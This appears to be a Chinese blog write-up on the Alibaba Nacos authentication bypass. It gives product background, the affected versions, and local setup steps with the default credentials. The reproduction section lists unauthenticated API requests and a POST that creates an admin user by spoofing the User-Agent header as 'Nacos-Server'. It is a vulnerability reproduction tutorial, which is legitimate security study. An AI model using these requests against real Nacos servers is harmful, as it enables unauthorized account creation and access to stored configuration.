目录
1、什么是Nacos(Dynamic Naming and Configuration Service)
1、什么是Nacos(Dynamic Naming and Configuration Service)
Nacos动态域名和配置服务,英文缩写是Dynamic Naming and Configuration Service, 取的Naming的前两个字母,Configuration的前2个字母,以及Service的首字母组成的。我了解到NACOS是在2018年7月,当时正好发布了该产品,由于项目一直在用Consul(也花了一段时间折腾),新产品毕竟有个大家使用的认同过程,所以当时只是做了了解,一直到今年下半年阿里云的朋友推荐我,说最近阿里云企业级Nacos在公测,目前是免费的,12月份开始商业化,正好加之要开始做新的项目,好奇心和热情又回到我这个不惑之年的程序猿身上了,于是马上打开了NACOS官网体验,首页上有企业版Nacos的链接(如下图),图正中是NACOS的官方介绍,“一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台”,目前最新的是V1.1.4版本,2019年10月24日发布的。
2.Alibaba Nacos漏洞概述
nacos的认证绕过安全漏洞,在nacos开启了鉴权后,依然能绕过鉴权访问任何http接口。
在默认情况下,nacos需要通过修改application.properties配置文件或添加JVM启动变量-Dnacos.core.auth.enabled=true即可开启鉴权功能 (参考:https://nacos.io/en-us/docs/auth.html)
但在开启鉴权后,我发现代码中,任然可以在某种情况下绕过认证,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:
调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。
3.影响范围
- 2.0.0-ALPHA.1
- 1.x.x
4.环境搭建
下载地址
网盘链接
链接:https://pan.baidu.com/s/16vFC4WOAnkhA_3ggKHBINQ
提取码:nvgj
Linux搭建
下载后解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
开始搭建
./startup.sh -m standalone
Windows搭建
如果是单机启动不是集群启动的话,修改一下bin目录下startup.cmd文件的启动模式,修改为单机启动
点击startup.cmd启动
localhost:8848/nacos/index.html
默认用户名密码:nacos/nacos
出现Nacos页面为成功
5 漏洞复现
1.访问
在没有登陆情况下浏览器访问如下接口,获取用户列表
http://localhost:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
查看到了用户列表
可以看到用一个用户nacos
利用用户漏洞
http://localhost:8848/nacos/v1/auth/users
导致:所需的int参数'pageNo'不存在;
2.Max HackBar
在火狐浏览器中搜索插件Max HackBar
修改为POST请求
usename=test&password=test
修改U-A头:Nacos-Server
点击Execution输入,返回码200,用户创建成功!
返回登录页面输入test /test
登录成功!!!!